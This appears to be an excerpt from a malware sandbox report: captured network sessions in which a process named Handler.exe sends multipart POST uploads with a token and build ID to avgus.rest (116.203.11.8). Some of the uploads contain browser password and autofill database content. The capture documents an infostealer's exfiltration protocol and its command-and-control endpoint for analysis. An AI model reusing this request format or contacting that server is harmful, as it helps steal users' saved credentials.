2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49756	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:23 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----dj5xlfcjm7gv3eukxlfu User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:23 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 6a 35 78 6c 66 63 6a 6d 37 67 76 33 65 75 6b 78 6c 66 75 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 64 6a 35 78 6c 66 63 6a 6d 37 67 76 33 65 75 6b 78 6c 66 75 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 64 6a 35 78 6c 66 63 6a 6d 37 67 76 33 65 75 6b 78 6c 66 75 0d 0a 43 6f 6e 74 Data Ascii: ------dj5xlfcjm7gv3eukxlfuContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------dj5xlfcjm7gv3eukxlfuContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------dj5xlfcjm7gv3eukxlfuCont
2025-01-13 19:18:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:23 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:23 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:24 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49758	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:24 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----tjmy5fkxba1n7ym79zmo User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:24 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 74 6a 6d 79 35 66 6b 78 62 61 31 6e 37 79 6d 37 39 7a 6d 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 74 6a 6d 79 35 66 6b 78 62 61 31 6e 37 79 6d 37 39 7a 6d 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 74 6a 6d 79 35 66 6b 78 62 61 31 6e 37 79 6d 37 39 7a 6d 6f 0d 0a 43 6f 6e 74 Data Ascii: ------tjmy5fkxba1n7ym79zmoContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------tjmy5fkxba1n7ym79zmoContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------tjmy5fkxba1n7ym79zmoCont
2025-01-13 19:18:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:24 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2025-01-13 19:18:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:24 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:25 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49764	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
